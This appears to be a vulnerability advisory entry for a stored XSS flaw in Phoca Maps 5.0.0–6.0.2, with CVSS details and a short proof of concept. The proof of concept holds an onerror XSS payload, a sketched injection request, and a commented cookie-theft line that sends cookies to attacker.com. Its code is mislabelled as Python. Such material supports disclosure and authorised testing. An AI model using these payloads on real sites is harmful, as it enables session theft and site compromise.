Various stored XSS vulnerabilities in the maps- and icon rendering logic in Phoca Maps component 5.0.0-6.0.2 have been discovered.
CVSS Details
CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Configurations (Affected Products)
cpe:2.3:a:phoca:maps:*:*:*:*:*:*:*:* - VULNERABLE
Phoca Maps 5.0.0 - 6.0.2
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// Proof of Concept for CVE-2026-23900
// Target: Phoca Maps Component 5.0.0 - 6.0.2
// Type: Stored XSS in Icon/Map Rendering
// 1. Construct the malicious payload to be injected into the Icon field or Map Description
var payload = '<img src=x onerror=alert("CVE-2026-23900-Stored-XSS")>';
// 2. Simulate the HTTP Request to inject the payload (Conceptual)
// The attacker sends a POST request to the component endpoint saving the map data.
/*
POST /index.php?option=com_phocamaps&task=map.save HTTP/1.1
Host: vulnerable-joomla-site.com
Content-Type: application/x-www-form-urlencoded
jform[title]=MyMap&jform[icon]=' + encodeURIComponent(payload) + '&...
*/
console.log("[+] Payload prepared: " + payload);
console.log("[+] Exploit trigger: Payload will execute when an admin views the map in the backend or frontend.");
// 3. Malicious action (Cookie Theft example)
// var img = new Image();
// img.src = "http://attacker.com/steal.php?c=" + document.cookie;